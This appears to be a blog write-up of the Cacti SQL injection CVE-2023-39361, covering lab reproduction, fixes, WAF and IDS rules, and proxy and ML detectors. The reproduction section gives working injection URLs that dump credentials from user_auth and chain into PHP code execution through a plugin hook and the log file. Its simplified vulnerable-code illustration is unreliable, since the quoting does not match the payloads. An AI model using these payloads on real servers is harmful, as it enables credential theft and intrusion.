创作声明
AI创作声明
本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。
免责声明
本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。
版权声明
本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。
准备工作
Docker的常用命令
docker compose pull #将远程镜像拉取到本地
docker compose up -d #启动容器,并且不包含下载日志
docker ps #查看开放端口
docker compose logs #查看日志
docker compose down #销毁容器
docker compose build #重启容器
docker compose exec web bash #进入名为web的服务容器并打开 Bash 终端的命令
漏洞编号: CVE-2023-39361
影响版本: Cacti ≤ 1.2.24(官方安全通告披露)
漏洞类型: SQL Injection(SQL 注入)
攻击面: graph_view.php 接口
数据库: MySQL
公开利用: 已有 PoC,实战可复现
漏洞原理
Cacti 是一款基于 PHP/MySQL 的开源网络监控和图形工具。在版本 1.2.24 及其早期版本中,存在一个严重的 SQL 注入漏洞(CVE-2023-39361)。该漏洞出现在 graph_view.php 文件的树状视图加载逻辑中,由于对 rfilter 参数的过滤不当,导致未经身份验证的攻击者可以读取数据库敏感信息。
该漏洞的攻击链展示了攻击者如何利用受影响的 URL 参数,通过 UNION 注入技术获取管理员账号凭证。
- 确定漏洞端点:攻击者访问
graph_view.php,通常这是用户查看图形树的公开或低权限页面。 - 构造注入请求:在
rfilter参数中注入恶意 SQL,通过精心构造的闭合符号(如") OR ""="((")破坏原有 SQL 结构。 - 数据拼接与执行:Cacti 后端将
rfilter的值直接拼接到数据库查询语句中,并发送给 MySQL 执行。 - 结果外泄:由于查询结果会被回显在页面渲染的树状结构或 JSON 响应中,攻击者可以从特定的列(如第 3、7、8 列)读取到数据库版本、当前用户以及
user_auth表中的 MD5 密码哈希。
1️⃣ 漏洞根因
在 graph_view.php 文件中:参数:action=tree_content node=1-1-tree_anchor rfilter=...,其中:rfilter被直接拼接进 SQL 语句中,没有进行参数化处理或严格过滤。
2️⃣ 漏洞逻辑还原(基于真实修复补丁分析)
❌ 漏洞代码逻辑(简化)
$rfilter = $_GET['rfilter'];
$sql = "SELECT id, title FROM graph_tree_items
WHERE title LIKE '%$rfilter%'";
$result = db_fetch_assoc($sql);
如果输入:rfilter=aaaaaaa" OR ""=((")) UNION SELECT ...,则 SQL 变为:
SELECT id, title FROM graph_tree_items
WHERE title LIKE '%aaaaaaa" OR ""=(("))
UNION SELECT ...
👉 UNION 注入成立
👉 可读取 user_auth 表
👉 泄露管理员账号密码
DFD 数据流图 + STRIDE 威胁建模
1️⃣ 数据流图(DFD)
[Attacker]
|
| HTTP GET rfilter=
v
[graph_view.php]
|
| 拼接 SQL
v
[MySQL]
|
v
[user_auth]
STRIDE 威胁分析
| 类型 | 是否存在 | 说明 |
|---|---|---|
| Spoofing | ❌ | 不需要登录 |
| Tampering | ✅ | 修改 SQL 结构 |
| Repudiation | ⚠️ | 日志可混淆 |
| Information Disclosure | ✅ | 用户密码泄露 |
| DoS | ⚠️ | 可构造 heavy query |
| Elevation | ✅ | 登录后台 |
漏洞复现原理图示说明
攻击流程:
1. 攻击者访问 graph_view.php 页面(公开或低权限)。
2. 构造恶意 rfilter 参数,例如:
?rfilter=") OR ""="((" UNION SELECT 1,version(),3,4,5,6,user(),8,9 --
3. Cacti 后端将 rfilter 直接拼接到 SQL 查询中。
4. 数据库执行恶意 SQL,返回结果(如 version() 和 user())。
5. 攻击者从页面渲染的树状结构或 JSON 响应中提取数据。
1️⃣ 正常 SQL
SELECT id, title FROM graph_tree_items WHERE title LIKE '%aaaa%'
2️⃣ 注入后 SQL
SELECT id, title FROM graph_tree_items
WHERE title LIKE '%aaaaaaa" OR ""=(("))
UNION SELECT 1,2,(select concat(id,0x23,username,0x23,password)
from user_auth limit 1),4,5,6,
(select user()),
(select version()),
9,10#
3️⃣ 返回数据结构
由于 UNION 列数匹配:1 | 2 | 1#admin#$2y$10$xxxxxx | 4 | ...敏感数据直接回显。
漏洞复现
安装导向,逐步解析。
大多数都是默认状态,记录过度了。下次只记录或放出关键的几步。
以管理员身份登录(弱口令),导航至Configuration -> Authentication页面,并启用guest用户。
目录扫描结果,与其他工具测试。
这里goby熟练程度还不是非常熟练,个人建议如果非必要或者由于kali的便捷性,工具还是在物理机Windows安装。
目录扫描工具的安装。
目录扫描的命令。
gobuster dir -u http://192.168.0.32:8080/ -w /usr/share/wordlists/dirb/common.txt -x php,bak,txt -t 50
ffuf -u http://192.168.0.32:8080/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.bak,.txt -t 50 -fs 0
ffuf -u http://192.168.0.32:8080/FUZZ \
-w /usr/share/wordlists/dirb/common.txt \
-e .php,.bak,.txt,.json \
-recursion \
-recursion-depth 1 \
-t 40 \
-fs 1234 # 假设1234是404页面的大小
dirsearch -u http://192.168.0.32:8080/ -e php,bak,txt -r -R 2 --exclude-status 403,404,500,401
dirsearch和fuff递归扫描
由此来看dirsearch的递归扫描功能更顺手结果也更加直观。
使用基本字典进行扫描。如果不行,在使用中型字典和大型字典。
Whatweb和Wappalyzer指纹识别结果,这里不对可以利用的漏洞进行示范,因为这里只是展示指纹识别工具的使用。
该漏洞位于
graph_view.php文件中的grow_right_pane_tree函数内。当action参数设置为'tree_content'时,用户输入的rfilter参数由html_validate_tree_vars函数验证。然而,这种验证仅确保输入是有效的正则表达式,无法防止SQL注入。
要利用此漏洞,向graph_view.php端点发送带有以下参数的请求:
http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23
这里贴出俩个等效的截图。
首先,添加一个指向log/cacti.log文件的新插件钩子:
http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaa"%20OR%20""="(("));INSERT%20INTO%20plugin_hooks(name,hook,file,status)%20VALUES%20(".","login_before","../log/cacti.log",1);%23
然后,利用报错SQL注入,将PHP代码写入log/cacti.log文件:
最后,我们能够清晰地看到我们的PHP代码执行成功。
http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,3,4,5,6,updatexml(rand(),concat(0x7e,"<?php%20phpinfo();?>",0x7e),null),8,9,10%23
修复建议
- 立即升级:更新至 Cacti 1.2.25 或更新版本。
- 使用参数化查询:在所有涉及用户输入的 SQL 查询中,强制使用
db_fetch_assoc_prepared等预处理函数。 - 强化输入校验:使用
get_filter_request_var()函数对敏感参数进行类型和格式约束,严禁直接使用全局变量。 - Web 应用防火墙 (WAF):部署 WAF 规则,拦截包含
UNION SELECT、OR ""="等特征的请求。
伪代码级修复示例
官方修复的主要思路是使用 Cacti 内部的安全包装函数对请求变量进行强制过滤。
❌ 漏洞代码(lib/html_tree.php 逻辑示意)
// 危险逻辑:直接从全局参数中提取变量并拼接到 SQL
$rfilter = get_request_var('rfilter');
// 拼接 SQL 语句,没有任何预处理
$sql = "SELECT ...
FROM graph_templates_graph
WHERE title LIKE '%" . $rfilter . "%'
ORDER BY title";
$results = db_fetch_assoc($sql); // 直接执行拼接的字符串
✅ 修复后代码(详细具体)
// 1. 使用 Cacti 专用的安全获取函数,指定类型为字母数字/特定字符
// 如果输入不符合预定义模式,该函数将直接抛出异常或返回空
$rfilter = get_filter_request_var('rfilter');
// 2. 构造参数化查询的 SQL 模板,使用占位符 ? 代替直接拼接
$sql = "SELECT
gtg.id, gtg.title, gtg.height, gtg.width
FROM graph_templates_graph AS gtg
INNER JOIN graph_local AS gl ON gtg.local_graph_id = gl.id
WHERE gtg.title LIKE ?
ORDER BY gtg.title";
// 3. 将用户输入作为参数绑定到查询中,数据库驱动会自动处理转义
$params = array('%' . $rfilter . '%');
// 调用带有预处理能力的数据库函数
$results = db_fetch_assoc_prepared($sql, $params);
❌ 漏洞写法
$rfilter = $_GET['rfilter'];
$sql = "SELECT id,title FROM graph_tree_items
WHERE title LIKE '%$rfilter%'";
✅ 安全写法(参数化)
$rfilter = $_GET['rfilter'];
$stmt = $pdo->prepare(
"SELECT id,title FROM graph_tree_items
WHERE title LIKE ?"
);
$stmt->execute(["%$rfilter%"]);
✅ 增加白名单限制
if (preg_match('/[^a-zA-Z0-9_\- ]/', $rfilter)) {
die("Invalid input");
}
基于此漏洞的检测与防护规则
WAF 匹配规则 (ModSecurity)
# 拦截针对 rfilter 参数的 UNION 注入
SecRule REQUEST_URI "@contains graph_view.php" \
"chain,id:202339361,phase:2,deny,status:403,msg:'Cacti CVE-2023-39361 SQLi Attempt'"
SecRule ARGS:rfilter "@rx (?i)(union\s+select|OR\s+\".*\"=)" \
"t:urlDecode,t:lowercase"
IDS 拦截规则 (Suricata)
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET EXPLOIT Cacti rfilter SQLi (CVE-2023-39361)"; flow:established,to_server; content:"graph_view.php"; http_uri; content:"rfilter="; http_uri; pcre:"/rfilter=.*(%20| )union(%20| )select/Ui"; classtype:web-application-attack; sid:202339361; rev:1;)
基于 Flask 的实时检测与防护(应用层)
部署一个 Flask 应用作为反向代理/API 网关,对所有进入 Cacti 的请求进行预处理,拦截包含恶意 rfilter 参数的请求。
1.1 Flask 中间件:检测 rfilter 参数中的注入特征
# cacti_proxy.py
import re
import time
from flask import Flask, request, abort, jsonify
app = Flask(__name__)
# 敏感路径
SENSITIVE_PATHS = ['/graph_view.php']
# SQL 注入特征正则(针对 UNION 注入)
SQLI_PATTERNS = [
re.compile(r'union\s+select', re.I),
re.compile(r'select\s+.*\s+from', re.I),
re.compile(r'version\s*\(', re.I),
re.compile(r'user\s*\(', re.I),
re.compile(r'database\s*\(', re.I),
re.compile(r'--', re.I),
re.compile(r'#', re.I),
re.compile(r';', re.I),
re.compile(r"'", re.I),
re.compile(r'"', re.I),
]
def check_rfilter_for_injection(value):
"""检查 rfilter 参数值是否包含 SQL 注入特征"""
if not isinstance(value, str):
return False
for pattern in SQLI_PATTERNS:
if pattern.search(value):
return True
return False
# 简单的会话验证(Cacti 前台可能无需登录)
def is_authenticated():
# 可根据 cookie 判断,此处仅示例
return False
# 速率限制(内存实现)
request_records = {}
def rate_limit(ip, limit=20, window=60):
now = time.time()
if ip not in request_records:
request_records[ip] = []
request_records[ip] = [t for t in request_records[ip] if now - t < window]
if len(request_records[ip]) >= limit:
return True
request_records[ip].append(now)
return False
@app.before_request
def before_request():
# 1. 只处理 graph_view.php
if request.path not in SENSITIVE_PATHS:
return
# 2. 检查 rfilter 参数
rfilter = request.args.get('rfilter')
if rfilter and check_rfilter_for_injection(rfilter):
log_attack(request, 'sqli_in_rfilter', rfilter)
abort(403, description='Malicious SQL injection detected')
# 3. 速率限制(防止扫描)
if not is_authenticated() and rate_limit(request.remote_addr):
abort(429, description='Too many requests')
@app.errorhandler(403)
def forbidden(e):
return jsonify(error='Forbidden'), 403
@app.errorhandler(429)
def too_many(e):
return jsonify(error='Too many requests'), 429
def log_attack(request, attack_type, payload):
with open('cacti_attack.log', 'a') as f:
f.write(f"{time.ctime()} - {request.remote_addr} - {request.method} {request.path} - {attack_type} - {payload}\n")
# 转发请求到后端 Cacti
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
def proxy(path):
# 实际应转发到 Cacti 服务器(如 http://localhost:80)
return f"Proxied to {path}"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
基于 TensorFlow 的异常行为检测
利用机器学习模型识别针对 Cacti graph_view.php 的异常请求模式,特别是对 rfilter 参数的异常构造。
2.1 特征工程
从每个请求中提取特征,构建数据集。特征包括:
has_rfilter: 是否存在 rfilter 参数(0/1)rfilter_length: rfilter 参数值的长度rfilter_digit_ratio: 参数值中数字的比例rfilter_letter_ratio: 参数值中字母的比例rfilter_special_char_count: 特殊字符(如 ', ", (, ), ;)的数量has_union: 是否包含union select(0/1)has_sql_function: 是否包含 SQL 函数(如 version, user)has_comment: 是否包含注释符(--, #)hour: 请求小时ip_reputation: IP 信誉分user_agent_length: User-Agent 长度is_known_ua: 是否常见浏览器 UArequest_freq_10min: 该IP最近10分钟请求数is_authenticated: 是否已认证(0/1)
def extract_features(request_entry, history):
features = [
request_entry.get('has_rfilter', 0),
request_entry.get('rfilter_length', 0),
request_entry.get('rfilter_digit_ratio', 0),
request_entry.get('rfilter_letter_ratio', 0),
request_entry.get('rfilter_special_char_count', 0),
request_entry.get('has_union', 0),
request_entry.get('has_sql_function', 0),
request_entry.get('has_comment', 0),
request_entry['timestamp'].hour,
ip_reputation(request_entry['ip']),
len(request_entry['user_agent']),
1 if 'Mozilla' in request_entry['user_agent'] else 0,
history['freq_10min'],
int(request_entry['is_auth'])
]
return features
2.2 模型训练(示例) 假设已有标记数据集(正常请求=0,攻击=1),使用 TensorFlow 构建二分类模型。
import numpy as np
import tensorflow as tf
from tensorflow.keras import layers, models
from sklearn.model_selection import train_test_split
# X 特征矩阵,y 标签
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)
model = models.Sequential([
layers.Dense(64, activation='relu', input_shape=(X.shape[1],)),
layers.Dropout(0.3),
layers.Dense(32, activation='relu'),
layers.Dropout(0.3),
layers.Dense(16, activation='relu'),
layers.Dense(1, activation='sigmoid')
])
model.compile(optimizer='adam',
loss='binary_crossentropy',
metrics=['accuracy'])
model.fit(X_train, y_train, epochs=20, batch_size=32, validation_split=0.1)
# 保存模型
model.save('cacti_sqli_model.h5')
2.3 集成到 Flask 中间件 加载模型,对每个请求进行实时预测,若异常概率高于阈值则拦截。
from tensorflow.keras.models import load_model
import numpy as np
from datetime import datetime
model = load_model('cacti_sqli_model.h5')
THRESHOLD = 0.8
def get_ip_history(ip):
# 从缓存获取历史统计(如Redis)
return {'freq_10min': 0}
def ip_reputation(ip):
return 0
@app.before_request
def before_request():
# ... 之前的基础检测 ...
if request.path in SENSITIVE_PATHS:
rfilter = request.args.get('rfilter')
if rfilter:
request_entry = {
'ip': request.remote_addr,
'has_rfilter': 1,
'rfilter_length': len(rfilter),
'rfilter_digit_ratio': sum(c.isdigit() for c in rfilter) / len(rfilter) if len(rfilter) > 0 else 0,
'rfilter_letter_ratio': sum(c.isalpha() for c in rfilter) / len(rfilter) if len(rfilter) > 0 else 0,
'rfilter_special_char_count': sum(not c.isalnum() for c in rfilter),
'has_union': 1 if re.search(r'union\s+select', rfilter, re.I) else 0,
'has_sql_function': 1 if re.search(r'version|user|database', rfilter, re.I) else 0,
'has_comment': 1 if re.search(r'--|#', rfilter) else 0,
'user_agent': request.headers.get('User-Agent', ''),
'is_auth': is_authenticated(),
'timestamp': datetime.now()
}
history = get_ip_history(request.remote_addr)
if predict_anomaly(request_entry, history):
log_attack(request, 'ml_anomaly', rfilter)
abort(403, description='Suspicious behavior detected')
def predict_anomaly(request_entry, history):
features = extract_features(request_entry, history)
prob = model.predict(np.array([features]))[0][0]
return prob > THRESHOLD
基于 ModSecurity 的 WAF 规则
在 Apache/NGINX 中部署 ModSecurity,拦截对 Cacti graph_view.php 的 SQL 注入尝试。
3.1 基础规则
# modsecurity_crs_80_cacti_cve_2023_39361.conf
# 规则1:检测 rfilter 参数中的 UNION SELECT
SecRule ARGS:rfilter "@rx (?i)union\s+select" \
"id:1017001,\
phase:2,\
t:none,\
deny,\
status:403,\
msg:'Cacti CVE-2023-39361 - UNION SELECT injection',\
logdata:'Matched: %{MATCHED_VAR}',\
tag:'attack-sqli',\
tag:'cve-2023-39361',\
severity:'CRITICAL'"
# 规则2:检测 rfilter 参数中的注释符
SecRule ARGS:rfilter "@rx (--|#)" \
"id:1017002,\
phase:2,\
t:none,\
deny,\
status:403,\
msg:'Cacti SQL injection - comment detected',\
tag:'attack-sqli',\
severity:'HIGH'"
# 规则3:检测 rfilter 参数中的 SQL 函数
SecRule ARGS:rfilter "@rx (?i)(version|user|database)\s*\(" \
"id:1017003,\
phase:2,\
t:none,\
deny,\
status:403,\
msg:'Cacti SQL injection - SQL function',\
tag:'attack-sqli',\
severity:'HIGH'"
# 规则4:对 graph_view.php 进行速率限制
SecRule REQUEST_URI "@endsWith /graph_view.php" \
"id:1017004,\
phase:1,\
t:none,\
ver:'OWASP_CRS/4.0',\
block,\
msg:'Cacti graph_view.php rate limiting',\
setvar:'tx.cacti_graph_counter_%{REMOTE_ADDR}=+1',\
expirevar:'tx.cacti_graph_counter_%{REMOTE_ADDR}=60'"
SecRule TX:cacti_graph_counter_%{REMOTE_ADDR} "@gt 30" \
"id:1017005,\
phase:1,\
block,\
msg:'Too many requests to graph_view.php',\
severity:'WARNING'"
3.2 部署示例(NGINX)
server {
listen 80;
server_name cacti.example.com;
ModSecurityEnabled on;
ModSecurityConfig /etc/nginx/modsec/modsecurity.conf;
location /graph_view.php {
proxy_pass http://cacti-backend/graph_view.php;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
总结:Cacti CVE-2023-39361 SQL 注入漏洞通过 rfilter 参数实现 UNION 注入。通过组合 Flask 应用层防护、TensorFlow 异常检测和 ModSecurity WAF,可以在升级前提供深度防御,有效检测和阻止攻击尝试。建议所有使用受影响版本的用户立即采取行动。